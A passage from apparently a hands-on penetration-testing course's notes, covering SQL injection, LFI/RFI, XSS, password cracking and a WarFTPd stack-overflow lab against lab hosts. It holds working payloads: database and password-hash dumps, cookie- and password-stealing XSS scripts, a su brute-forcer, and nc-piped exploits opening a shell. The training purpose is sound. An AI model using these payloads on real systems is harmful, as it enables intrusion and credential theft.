2795Output:
2796asdf fjdk afed fjek asdf foo
2797
2798
2799
2800
2801**************************************************
2802* Problem 8: Retrieve Information from HTML file *
2803**************************************************
2804
2805
2806
2807I want to extract information from a HTML file (see below sample data). Here we need to extract information available between <td> and </td> except the first numerical index. I have assumed here that below html code is stored in a string str.
2808
2809
2810
2811Sample HTML file (str)
2812---------------------------Paste This-----------------------------------
2813
2814<tr align="center"><td>1</td> <td>Noah</td> <td>Emma</td></tr>
2815<tr align="center"><td>2</td> <td>Liam</td> <td>Olivia</td></tr>
2816<tr align="center"><td>3</td> <td>Mason</td> <td>Sophia</td></tr>
2817<tr align="center"><td>4</td> <td>Jacob</td> <td>Isabella</td></tr>
2818<tr align="center"><td>5</td> <td>William</td> <td>Ava</td></tr>
2819<tr align="center"><td>6</td> <td>Ethan</td> <td>Mia</td></tr>
2820<tr align="center"><td>7</td> <td HTML>Michael</td> <td>Emily</td></tr>
2821----------------------------------------------------------------------
2822
2823Solution:
2824
2825
2826
2827Code
2828---------------------------Type This-----------------------------------
2829
2830result=re.findall(r'<td>\w+</td>\s<td>(\w+)</td>\s<td>(\w+)</td>',str)
2831print result
2832----------------------------------------------------------------------
2833
2834Output:
2835[('Noah', 'Emma'), ('Liam', 'Olivia'), ('Mason', 'Sophia'), ('Jacob', 'Isabella'), ('William', 'Ava'), ('Ethan', 'Mia'), ('Michael', 'Emily')]
2836
2837
2838
2839You can read html file using library urllib2 (see below code).
2840
2841
2842Code
2843---------------------------Type This-----------------------------------
2844
2845import urllib2
2846response = urllib2.urlopen('')
2847html = response.read()
2848----------------------------------------------------------------------
2849
2850
2851
2852
2853
2854##################################
2855# Day 2 Homework videos to watch #
2856##################################
2857Here is your first set of youtube videos that I'd like for you to watch:
2858https://www.youtube.com/playlist?list=PLEA1FEF17E1E5C0DA (watch videos 11-20)
2859
2860
2861
2862
2863
2864
2865
2866
2867 ###############################################################
2868----------- ############### # Day 3: Web App Pentesting, PW Cracking and more with Python # ############### -----------
2869 ###############################################################
2870
2871##################################
2872# Basic: Web Application Testing #
2873##################################
2874
2875Most people are going to tell you reference the OWASP Testing guide.
2876https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents
2877
2878I'm not a fan of it for the purpose of actual testing. It's good for defining the scope of an assessment, and defining attacks, but not very good for actually attacking a website.
2879
2880
2881The key to doing a Web App Assessment is to ask yourself the 3 web questions on every page in the site.
2882
2883 1. Does the website talk to a DB?
2884 - Look for parameter passing (ex: site.com/page.php?id=4)
2885 - If yes - try SQL Injection
2886
2887 2. Can I or someone else see what I type?
2888 - If yes - try XSS
2889
2890 3. Does the page reference a file?
2891 - If yes - try LFI/RFI
2892
2893Let's start with some manual testing against 10.1.1.38
2894
2895
2896#######################
2897# Attacking PHP/MySQL #
2898#######################
2899
2900Go to LAMP Target homepage
2901http://10.1.1.38/
2902
2903
2904
2905Clicking on the Acer Link:
2906http://10.1.1.38/acre2.php?lap=acer
2907
2908 - Found parameter passing (answer yes to question 1)
2909 - Insert ' to test for SQLI
2910
2911---------------------------Type This-----------------------------------
2912
2913http://10.1.1.38/acre2.php?lap=acer'
2914
2915-----------------------------------------------------------------------
2916
2917Page returns the following error:
2918You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''acer''' at line 1
2919
2920
2921
2922In order to perform union-based sql injection - we must first determine the number of columns in this query.
2923We do this using the ORDER BY
2924
2925---------------------------Type This-----------------------------------
2926
2927http://10.1.1.38/acre2.php?lap=acer' order by 100-- +
2928-----------------------------------------------------------------------
2929
2930Page returns the following error:
2931Unknown column '100' in 'order clause'
2932
2933
2934---------------------------Type This-----------------------------------
2935
2936http://10.1.1.38/acre2.php?lap=acer' order by 50-- +
2937-----------------------------------------------------------------------
2938
2939Page returns the following error:
2940Unknown column '50' in 'order clause'
2941
2942
2943---------------------------Type This-----------------------------------
2944
2945http://10.1.1.38/acre2.php?lap=acer' order by 25-- +
2946-----------------------------------------------------------------------
2947
2948Page returns the following error:
2949Unknown column '25' in 'order clause'
2950
2951
2952---------------------------Type This-----------------------------------
2953
2954http://10.1.1.38/acre2.php?lap=acer' order by 12-- +
2955-----------------------------------------------------------------------
2956
2957Page returns the following error:
2958Unknown column '50' in 'order clause'
2959
2960
2961---------------------------Type This-----------------------------------
2962
2963http://10.1.1.38/acre2.php?lap=acer' order by 6-- +
2964-----------------------------------------------------------------------
2965
2966---Valid page returned for 5 and 6...error on 7 so we know there are 6 columns
2967
2968
2969
2970Now we build out the union all select statement with the correct number of columns
2971
2972Reference:
2973http://www.techonthenet.com/sql/union.php
2974
2975
2976---------------------------Type This-----------------------------------
2977
2978http://10.1.1.38/acre2.php?lap=acer' union all select 1,2,3,4,5,6-- +
2979-----------------------------------------------------------------------
2980
2981
2982
2983Now we negate the parameter value 'acer' by turning into the word 'null':
2984---------------------------Type This-----------------------------------
2985
2986http://10.1.1.38/acre2.php?lap=null' union all select 1,2,3,4,5,6-- j
2987-----------------------------------------------------------------------
2988
2989We see that a 4 and a 5 are on the screen. These are the columns that will echo back data
2990
2991
2992Use a cheat sheet for syntax:
2993http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
2994
2995---------------------------Type This-----------------------------------
2996
2997http://10.1.1.38/acre2.php?lap=null' union all select 1,2,3,user(),5,6-- j
2998
2999http://10.1.1.38/acre2.php?lap=null' union all select 1,2,3,user(),version(),6-- j
3000
3001http://10.1.1.38/acre2.php?lap=null' union all select 1,2,3,user(),@@version,6-- +
3002
3003http://10.1.1.38/acre2.php?lap=null' union all select 1,2,3,user(),@@datadir,6-- +
3004
3005
3006http://10.1.1.38/acre2.php?lap=null' union all select 1,2,3,user,password,6 from mysql.user -- a
3007
3008-----------------------------------------------------------------------
3009
3010
3011########################
3012# Question I get a lot #
3013########################
3014Sometimes students ask about the "-- j" or "-- +" that I append to SQL injection attack string.
3015
3016Here is a good reference for it:
3017https://www.symantec.com/connect/blogs/mysql-injection-comments-comments
3018
3019Both attackers and penetration testers alike often forget that MySQL comments deviate from the standard ANSI SQL specification. The double-dash comment syntax was first supported in MySQL 3.23.3. However, in MySQL a double-dash comment "requires the second dash to be followed by at least one whitespace or control character (such as a space, tab, newline, and so on)." This double-dash comment syntax deviation is intended to prevent complications that might arise from the subtraction of negative numbers within SQL queries. Therefore, the classic SQL injection exploit string will not work against backend MySQL databases because the double-dash will be immediately followed by a terminating single quote appended by the web application. However, in most cases a trailing space needs to be appended to the classic SQL exploit string. For the sake of clarity we'll append a trailing space and either a "+" or a letter.
3020
3021
3022
3023
3024#########################
3025# File Handling Attacks #
3026#########################
3027
3028Here we see parameter passing, but this one is actually a yes to question number 3 (reference a file)
3029
3030---------------------------Type This-----------------------------------
3031
3032http://10.1.1.38/showfile.php?filename=about.txt
3033
3034-----------------------------------------------------------------------
3035
3036
3037See if you can read files on the file system:
3038---------------------------Type This-----------------------------------
3039
3040http://10.1.1.38/showfile.php?filename=/etc/passwd
3041-----------------------------------------------------------------------
3042
3043We call this attack a Local File Include or LFI.
3044
3045Now let's find some text out on the internet somewhere:
3046https://raw.githubusercontent.com/gruntjs/grunt-contrib-connect/master/test/fixtures/hello.txt
3047
3048
3049Now let's append that URL to our LFI and instead of it being Local - it is now a Remote File Include or RFI:
3050
3051---------------------------Type This-----------------------------------
3052
3053http://10.1.1.38/showfile.php?filename=https://raw.githubusercontent.com/gruntjs/grunt-contrib-connect/master/test/fixtures/hello.txt
3054 -----------------------------------------------------------------------
3055
3056#########################################################################################
3057# SQL Injection #
3058# https://s3.amazonaws.com/infosecaddictsfiles/1-Intro_To_SQL_Intection.pptx #
3059#########################################################################################
3060
3061
3062- Another quick way to test for SQLI is to remove the paramter value
3063
3064
3065#############################
3066# Error-Based SQL Injection #
3067#############################
3068---------------------------Type This-----------------------------------
3069
3070http://10.1.1.55/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))--
3071http://10.1.1.55/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(1))--
3072http://10.1.1.55/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(2))--
3073http://10.1.1.55/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(3))--
3074http://10.1.1.55/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(4))--
3075http://10.1.1.55/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(N))-- NOTE: "N" - just means to keep going until you run out of databases
3076http://10.1.1.55/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85))--
3077http://10.1.1.55/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'bookmaster')--
3078http://10.1.1.55/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'sysdiagrams')--
3079
3080-----------------------------------------------------------------------
3081
3082
3083
3084#############################
3085# Union-Based SQL Injection #
3086#############################
3087
3088---------------------------Type This-----------------------------------
3089
3090http://10.1.1.55/bookdetail.aspx?id=2 order by 100--
3091http://10.1.1.55/bookdetail.aspx?id=2 order by 50--
3092http://10.1.1.55/bookdetail.aspx?id=2 order by 25--
3093http://10.1.1.55/bookdetail.aspx?id=2 order by 10--
3094http://10.1.1.55/bookdetail.aspx?id=2 order by 5--
3095http://10.1.1.55/bookdetail.aspx?id=2 order by 6--
3096http://10.1.1.55/bookdetail.aspx?id=2 order by 7--
3097http://10.1.1.55/bookdetail.aspx?id=2 order by 8--
3098http://10.1.1.55/bookdetail.aspx?id=2 order by 9--
3099http://10.1.1.55/bookdetail.aspx?id=2 union all select 1,2,3,4,5,6,7,8,9--
3100-----------------------------------------------------------------------
3101
3102 We are using a union select statement because we are joining the developer's query with one of our own.
3103 Reference:
3104 http://www.techonthenet.com/sql/union.php
3105 The SQL UNION operator is used to combine the result sets of 2 or more SELECT statements.
3106 It removes duplicate rows between the various SELECT statements.
3107
3108 Each SELECT statement within the UNION must have the same number of fields in the result sets with similar data types.
3109
3110---------------------------Type This-----------------------------------
3111
3112http://10.1.1.55/bookdetail.aspx?id=-2 union all select 1,2,3,4,5,6,7,8,9--
3113-----------------------------------------------------------------------
3114
3115 Negating the paramter value (changing the id=2 to id=-2) will force the pages that will echo back data to be displayed.
3116
3117---------------------------Type This-----------------------------------
3118
3119http://10.1.1.55/bookdetail.aspx?id=-2 union all select 1,user,@@version,4,5,6,7,8,9--
3120http://10.1.1.55/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,7,8,9--
3121http://10.1.1.55/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,db_name(0),8,9--
3122http://10.1.1.55/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,master.sys.fn_varbintohexstr(password_hash),8,9 from master.sys.sql_logins--
3123
3124 -----------------------------------------------------------------------
3125
3126
3127
3128
3129- Another way is to see if you can get the backend to perform an arithmetic function
3130
3131---------------------------Type This-----------------------------------
3132
3133http://10.1.1.55/bookdetail.aspx?id=(2)
3134http://10.1.1.55/bookdetail.aspx?id=(4-2)
3135http://10.1.1.55/bookdetail.aspx?id=(4-1)
3136
3137
3138
3139http://10.1.1.55/bookdetail.aspx?id=2 or 1=1--
3140http://10.1.1.55/bookdetail.aspx?id=2 or 1=2--
3141http://10.1.1.55/bookdetail.aspx?id=1*1
3142http://10.1.1.55/bookdetail.aspx?id=2 or 1 >-1#
3143http://10.1.1.55/bookdetail.aspx?id=2 or 1<99#
3144http://10.1.1.55/bookdetail.aspx?id=2 or 1<>1#
3145http://10.1.1.55/bookdetail.aspx?id=2 or 2 != 3--
3146http://10.1.1.55/bookdetail.aspx?id=2 &0#
3147
3148
3149
3150http://10.1.1.55/bookdetail.aspx?id=2 and 1=1--
3151http://10.1.1.55/bookdetail.aspx?id=2 and 1=2--
3152http://10.1.1.55/bookdetail.aspx?id=2 and user='joe' and 1=1--
3153http://10.1.1.55/bookdetail.aspx?id=2 and user='dbo' and 1=1--
3154
3155 -----------------------------------------------------------------------
3156
3157
3158###############################
3159# Blind SQL Injection Testing #
3160###############################
3161Time-Based BLIND SQL INJECTION - EXTRACT DATABASE USER
3162
31633 - Total Characters
3164---------------------------Type This-----------------------------------
3165
3166http://10.1.1.55/bookdetail.aspx?id=2; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'--
3167http://10.1.1.55/bookdetail.aspx?id=2; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'--
3168http://10.1.1.55/bookdetail.aspx?id=2; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'-- (Ok, the username is 3 chars long - it waited 10 seconds)
3169 -----------------------------------------------------------------------
3170
3171Let's go for a quick check to see if it's DBO
3172
3173---------------------------Type This-----------------------------------
3174
3175http://10.1.1.55/bookdetail.aspx?id=2; IF ((USER)='dbo') WAITFOR DELAY '00:00:10'--
3176 -----------------------------------------------------------------------
3177
3178Yup, it waited 10 seconds so we know the username is 'dbo' - let's give you the syntax to verify it just for fun.
3179
3180 ---------------------------Type This-----------------------------------
3181
3182D - 1st Character
3183http://10.1.1.55/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:10'--
3184http://10.1.1.55/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'--
3185http://10.1.1.55/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'--
3186http://10.1.1.55/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'-- (Ok, first letter is a 100 which is the letter 'd' - it waited 10 seconds)
3187
3188B - 2nd Character
3189http://10.1.1.55/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
3190http://10.1.1.55/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
3191
3192O - 3rd Character
3193http://10.1.1.55/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
3194http://10.1.1.55/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>115) WAITFOR DELAY '00:00:10'--
3195http://10.1.1.55/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>105) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
3196http://10.1.1.55/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>110) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
3197http://10.1.1.55/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=109) WAITFOR DELAY '00:00:10'--
3198http://10.1.1.55/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=110) WAITFOR DELAY '00:00:10'--
3199http://10.1.1.55/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=111) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
3200
3201 -----------------------------------------------------------------------
3202
3203
3204
3205
3206 ##########
3207# Sqlmap #
3208##########
3209If you want to see how we automate all of the SQL Injection attacks you can log into your StrategicSec-Ubuntu-VM and run the following commands:
3210
3211 ---------------------------Type This-----------------------------------
3212
3213cd /home/strategicsec/toolz/sqlmap-dev/
3214python sqlmap.py -u "http://10.1.1.55/bookdetail.aspx?id=2" -b
3215python sqlmap.py -u "http://10.1.1.55/bookdetail.aspx?id=2" --current-user
3216python sqlmap.py -u "http://10.1.1.55/bookdetail.aspx?id=2" --current-db
3217python sqlmap.py -u "http://10.1.1.55/bookdetail.aspx?id=2" --dbs
3218python sqlmap.py -u "http://10.1.1.55/bookdetail.aspx?id=2" -D BookApp --tables
3219python sqlmap.py -u "http://10.1.1.55/bookdetail.aspx?id=2" -D BookApp -T BOOKMASTER --columns
3220python sqlmap.py -u "http://10.1.1.55/bookdetail.aspx?id=2" -D BookApp -T sysdiagrams --columns
3221python sqlmap.py -u "http://10.1.1.55/bookdetail.aspx?id=2" -D BookApp -T BOOKMASTER --columns --dump
3222python sqlmap.py -u "http://10.1.1.55/bookdetail.aspx?id=2" -D BookApp -T sysdiagrams --columns --dump
3223python sqlmap.py -u "http://10.1.1.55/bookdetail.aspx?id=2" --users --passwords
3224
3225 -----------------------------------------------------------------------
3226
3227###############################################################################
3228# What is XSS #
3229# https://s3.amazonaws.com/infosecaddictsfiles/2-Intro_To_XSS.pptx #
3230###############################################################################
3231
3232OK - what is Cross Site Scripting (XSS)
3233
32341. Use Firefox to browse to the following location:
3235---------------------------Type This-----------------------------------
3236
3237 http://10.1.1.38/xss_practice/
3238 -----------------------------------------------------------------------
3239
3240 A really simple search page that is vulnerable should come up.
3241
3242
3243
3244
32452. In the search box type:
3246---------------------------Type This-----------------------------------
3247
3248 <script>alert('So this is XSS')</script>
3249-----------------------------------------------------------------------
3250
3251
3252 This should pop-up an alert window with your message in it proving XSS is in fact possible.
3253 Ok, click OK and then click back and go back to http://10.1.1.38/xss_practice/
3254
3255
32563. In the search box type:
3257---------------------------Type This-----------------------------------
3258
3259 <script>alert(document.cookie)</script>
3260-----------------------------------------------------------------------
3261
3262
3263 This should pop-up an alert window with your message in it proving XSS is in fact possible and your cookie can be accessed.
3264 Ok, click OK and then click back and go back to http://10.1.1.38/xss_practice/
3265
32664. Now replace that alert script with:
3267---------------------------Type This-----------------------------------
3268
3269 <script>document.location="http://10.1.1.38/xss_practice/cookie_catcher.php?c="+document.cookie</script>
3270-----------------------------------------------------------------------
3271
3272
3273This will actually pass your cookie to the cookie catcher that we have sitting on the webserver.
3274
3275
32765. Now view the stolen cookie at:
3277---------------------------Type This-----------------------------------
3278
3279 http://10.1.1.38/xss_practice/cookie_stealer_logs.html
3280-----------------------------------------------------------------------
3281
3282
3283The cookie catcher writes to this file and all we have to do is make sure that it has permissions to be written to.
3284
3285
3286
3287
3288
3289
3290############################
3291# A Better Way To Demo XSS #
3292############################
3293
3294
3295Let's take this to the next level. We can modify this attack to include some username/password collection. Paste all of this into the search box.
3296
3297
3298Use Firefox to browse to the following location:
3299---------------------------Type This-----------------------------------
3300
3301 http://10.1.1.38/xss_practice/
3302-----------------------------------------------------------------------
3303
3304
3305
3306Paste this in the search box
3307----------------------------
3308
3309
3310---------------------------Type This-----------------------------------
3311
3312<script>
3313password=prompt('Your session is expired. Please enter your password to continue',' ');
3314document.write("<img src=\"http://10.1.1.38/xss_practice/passwordgrabber.php?password=" +password+"\">");
3315</script>
3316-----------------------------------------------------------------------
3317
3318
3319Now view the stolen cookie at:
3320---------------------------Type This-----------------------------------
3321
3322 http://10.1.1.38/xss_practice/passwords.html
3323
3324-----------------------------------------------------------------------
3325
3326
3327#################################################
3328# Lesson 25: Python Functions & String Handling #
3329#################################################
3330
3331Python can make use of functions:
3332http://www.tutorialspoint.com/python/python_functions.htm
3333
3334
3335
3336Python can interact with the 'crypt' function used to create Unix passwords:
3337http://docs.python.org/2/library/crypt.html
3338
3339
3340
3341Tonight we will see a lot of the split() method so be sure to keep the following references close by:
3342http://www.tutorialspoint.com/python/string_split.htm
3343
3344
3345Tonight we will see a lot of slicing so be sure to keep the following references close by:
3346http://techearth.net/python/index.php5?title=Python:Basics:Slices
3347
3348
3349---------------------------Type This-----------------------------------
3350vi LFI-RFI.py
3351
3352
3353---------------------------Paste This-----------------------------------
3354
3355
3356#!/usr/bin/env python
3357print "\n### PHP LFI/RFI Detector ###"
3358
3359import urllib2,re,sys
3360
3361TARGET = "http://10.1.1.38/showfile.php?filename=about.txt"
3362RFIVULN = "https://raw.githubusercontent.com/gruntjs/grunt-contrib-connect/master/test/fixtures/hello.txt?"
3363TravLimit = 12
3364
3365print "==> Testing for LFI vulns.."
3366TARGET = TARGET.split("=")[0]+"=" ## URL MANUPLIATION
3367for x in xrange(1,TravLimit): ## ITERATE THROUGH THE LOOP
3368 TARGET += "../"
3369 try:
3370 source = urllib2.urlopen((TARGET+"etc/passwd")).read() ## WEB REQUEST
3371 except urllib2.URLError, e:
3372 print "$$$ We had an Error:",e
3373 sys.exit(0)
3374 if re.search("root:x:0:0:",source): ## SEARCH FOR TEXT IN SOURCE
3375 print "!! ==> LFI Found:",TARGET+"etc/passwd"
3376 break ## BREAK LOOP WHEN VULN FOUND
3377
3378print "\n==> Testing for RFI vulns.."
3379TARGET = TARGET.split("=")[0]+"="+RFIVULN ## URL MANUPLIATION
3380try:
3381 source = urllib2.urlopen(TARGET).read() ## WEB REQUEST
3382except urllib2.URLError, e:
3383 print "$$$ We had an Error:",e
3384 sys.exit(0)
3385if re.search("Hello world",source): ## SEARCH FOR TEXT IN SOURCE
3386 print "!! => RFI Found:",TARGET
3387
3388print "\nScan Complete\n" ## DONE
3389
3390
3391
3392-----------------------------------------------------------------------
3393
3394
3395################################
3396# Lesson 26: Password Cracking #
3397################################
3398
3399---------------------------Type This-----------------------------------
3400
3401wget https://s3.amazonaws.com/infosecaddictsfiles/htcrack.py
3402
3403vi htcrack.py
3404
3405vi list.txt
3406
3407---------------------------Paste This-----------------------------------
3408
3409hello
3410goodbye
3411red
3412blue
3413yourname
3414tim
3415bob
3416
3417-----------------------------------------------------------------------
3418
3419---------------------------Type This-----------------------------------
3420
3421htpasswd -nd yourname
3422 - enter yourname as the password
3423
3424
3425
3426python htcrack.py joe:7XsJIbCFzqg/o list.txt
3427
3428
3429
3430
3431sudo apt-get install -y python-mechanize python-pexpect python-pexpect-doc
3432
3433rm -rf mechanize-0.2.5.tar.gz
3434
3435sudo /bin/bash
3436
3437passwd
3438 ***set root password***
3439
3440
3441
3442---------------------------Type This-----------------------------------
3443
3444vi rootbrute.py
3445
3446---------------------------Paste This-----------------------------------
3447
3448#!/usr/bin/env python
3449
3450import sys
3451try:
3452 import pexpect
3453except(ImportError):
3454 print "\nYou need the pexpect module."
3455 print "http://www.noah.org/wiki/Pexpect\n"
3456 sys.exit(1)
3457
3458#Change this if needed.
3459# LOGIN_ERROR = 'su: incorrect password'
3460LOGIN_ERROR = "su: Authentication failure"
3461
3462def brute(word):
3463 print "Trying:",word
3464 child = pexpect.spawn('/bin/su')
3465 child.expect('Password: ')
3466 child.sendline(word)
3467 i = child.expect (['.+\s#\s',LOGIN_ERROR, pexpect.TIMEOUT],timeout=3)
3468 if i == 1:
3469 print "Incorrect Password"
3470
3471 if i == 2:
3472 print "\n\t[!] Root Password:" ,word
3473 child.sendline ('id')
3474 print child.before
3475 child.interact()
3476
3477if len(sys.argv) != 2:
3478 print "\nUsage : ./rootbrute.py <wordlist>"
3479 print "Eg: ./rootbrute.py words.txt\n"
3480 sys.exit(1)
3481
3482try:
3483 words = open(sys.argv[1], "r").readlines()
3484except(IOError):
3485 print "\nError: Check your wordlist path\n"
3486 sys.exit(1)
3487
3488print "\n[+] Loaded:",len(words),"words"
3489print "[+] BruteForcing...\n"
3490for word in words:
3491 brute(word.replace("\n",""))
3492
3493
3494-----------------------------------------------------------------------
3495
3496
3497References you might find helpful:
3498http://stackoverflow.com/questions/15026536/looping-over-a-some-ips-from-a-file-in-python
3499
3500
3501
3502
3503
3504
3505
3506---------------------------Type This-----------------------------------
3507
3508
3509wget https://s3.amazonaws.com/infosecaddictsfiles/md5crack.py
3510
3511vi md5crack.py
3512
3513
3514-----------------------------------------------------------------------
3515
3516
3517
3518
3519Why use hexdigest
3520http://stackoverflow.com/questions/3583265/compare-result-from-hexdigest-to-a-string
3521
3522
3523
3524
3525http://md5online.net/
3526
3527
3528
3529
3530
3531---------------------------Type This-----------------------------------
3532
3533
3534wget https://s3.amazonaws.com/infosecaddictsfiles/wpbruteforcer.py
3535
3536
3537-----------------------------------------------------------------------
3538
3539
3540
3541#############
3542# Functions #
3543#############
3544
3545
3546***********************
3547* What are Functions? *
3548***********************
3549
3550
3551Functions are a convenient way to divide your code into useful blocks, allowing us to order our code, make it more readable, reuse it and save some time. Also functions are a key way to define interfaces so programmers can share their code.
3552
3553How do you write functions in Python?
3554
3555Python makes use of blocks.
3556
3557A block is a area of code of written in the format of:
3558
3559 block_head:
3560
3561 1st block line
3562
3563 2nd block line
3564
3565 ...
3566
3567
3568Where a block line is more Python code (even another block), and the block head is of the following format: block_keyword block_name(argument1,argument2, ...) Block keywords you already know are "if", "for", and "while".
3569
3570Functions in python are defined using the block keyword "def", followed with the function's name as the block's name. For example:
3571
3572def my_function():
3573 print("Hello From My Function!")
3574
3575
3576Functions may also receive arguments (variables passed from the caller to the function). For example:
3577
3578def my_function_with_args(username, greeting):
3579 print("Hello, %s , From My Function!, I wish you %s"%(username, greeting))
3580
3581
3582Functions may return a value to the caller, using the keyword- 'return' . For example:
3583
3584def sum_two_numbers(a, b):
3585 return a + b
3586
3587
3588****************************************
3589* How do you call functions in Python? *
3590****************************************
3591
3592Simply write the function's name followed by (), placing any required arguments within the brackets. For example, lets call the functions written above (in the previous example):
3593
3594# Define our 3 functions
3595---------------------------Paste This-----------------------------------
3596
3597def my_function():
3598 print("Hello From My Function!")
3599
3600def my_function_with_args(username, greeting):
3601 print("Hello, %s , From My Function!, I wish you %s"%(username, greeting))
3602
3603def sum_two_numbers(a, b):
3604 return a + b
3605
3606# print(a simple greeting)
3607my_function()
3608
3609#prints - "Hello, Joe, From My Function!, I wish you a great year!"
3610my_function_with_args("Joe", "a great year!")
3611
3612# after this line x will hold the value 3!
3613x = sum_two_numbers(1,2)
3614-----------------------------------------------------------------------
3615
3616
3617************
3618* Exercise *
3619************
3620
3621In this exercise you'll use an existing function, and while adding your own to create a fully functional program.
3622
3623Add a function named list_benefits() that returns the following list of strings: "More organized code", "More readable code", "Easier code reuse", "Allowing programmers to share and connect code together"
3624
3625Add a function named build_sentence(info) which receives a single argument containing a string and returns a sentence starting with the given string and ending with the string " is a benefit of functions!"
3626
3627Run and see all the functions work together!
3628
3629
3630---------------------------Paste This-----------------------------------
3631
3632# Modify this function to return a list of strings as defined above
3633def list_benefits():
3634 pass
3635
3636# Modify this function to concatenate to each benefit - " is a benefit of functions!"
3637def build_sentence(benefit):
3638 pass
3639
3640def name_the_benefits_of_functions():
3641 list_of_benefits = list_benefits()
3642 for benefit in list_of_benefits:
3643 print(build_sentence(benefit))
3644
3645name_the_benefits_of_functions()
3646
3647
3648-----------------------------------------------------------------------
3649
3650
3651
3652
3653Please download this file to your Windows host machine, and extract it to your Desktop.
3654https://s3.amazonaws.com/infosecaddictsfiles/ED-Workshop-Files.zip
3655
3656
3657
3658
3659
3660###########################
3661# Lab 1a: Stack Overflows #
3662###########################
3663
3664 #############################
3665 # Start WarFTPd #
3666 # Start WinDBG #
3667 # Press F6 #
3668 # Attach to war-ftpd.exe #
3669 #############################
3670---------------------------Type This-----------------------------------
3671
3672cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab1a
3673
3674
3675python warftpd1.py | nc XPSP3-ED-Target-IP 21
3676
3677
3678 At WINDBG prompt
3679 “r†to show registers or “alt+4â€
3680 dd esp
3681
3682-----------------------------------------------------------------------
3683---------------------------Type This-----------------------------------
3684
3685python warftpd2.py | nc XPSP3-ED-Target-IP 21
3686
3687
3688 At WINDBG prompt
3689 “r†to show registers or “alt+4â€
3690 dd esp
3691-----------------------------------------------------------------------
3692
3693 Eip: 32714131
3694 esp: affd58 (71413471)
3695
3696 Now we need to SSH into the StrategicSec Ubuntu host
3697 ---------------------------Type This-----------------------------------
3698
3699 cd /home/strategicsec/toolz/metasploit/tools/exploit
3700
3701 ruby pattern_offset.rb 32714131
3702 485
3703
3704 ruby pattern_offset.rb 71413471
3705 493
3706-----------------------------------------------------------------------
3707
3708 Distance to EIP is: 485
3709 Relative position of ESP is: 493
3710
3711 RET – POP EIP
3712 RET 4 – POP EIP and shift ESP down by 4 bytes
3713 ---------------------------Type This-----------------------------------
3714
3715 cd /home/strategicsec/toolz/metasploit/
3716 ./msfpescan -j ESP DLLs/xpsp3/shell32.dll
3717 -----------------------------------------------------------------------
3718
3719 0x7c9c167d push esp; retn 0x304d
3720 0x7c9d30d7 jmp esp < - how about we use this one
3721 0x7c9d30eb jmp esp
3722 0x7c9d30ff jmp esp
3723
3724
3725 warftpd3.py with Notepad++
3726 Fill in the appropriate values
3727 Distance to EIP
3728 Address of JMP ESP
3729
3730
3731 ---------------------------Type This-----------------------------------
3732
3733python warftpd3.py | nc XPSP3-ED-Target-IP 21
3734
3735 0:003> dd eip
3736 0:003> dd esp
3737
3738 -----------------------------------------------------------------------
3739
3740
3741
3742
3743 Mention bad characters
3744 No debugger
3745
3746 ---------------------------Type This-----------------------------------
3747
3748
3749python warftpd4.py | nc XPSP3-ED-Target-IP 21
3750
3751nc XPSP3-ED-Target-IP 4444
3752
3753 -----------------------------------------------------------------------
3754
3755
3756
3757
3758There are 2 things that can go wrong with shellcode. The first thing is a lack of space, and the second is bad characters.
3759
3760Shellcode test 1: Calculate space for shellcode
3761Look in the warftpd3.py script for the shellcode variable. Change the length of the shellcode being send to test how much you can send before the CCs truncate.
3762
3763
3764
3765
3766
3767Shellcode test 2: Identify bad characters
3768
3769Replace the INT3 (cc) dummy shellcode with this string:
3770 ---------------------------Type This-----------------------------------
3771
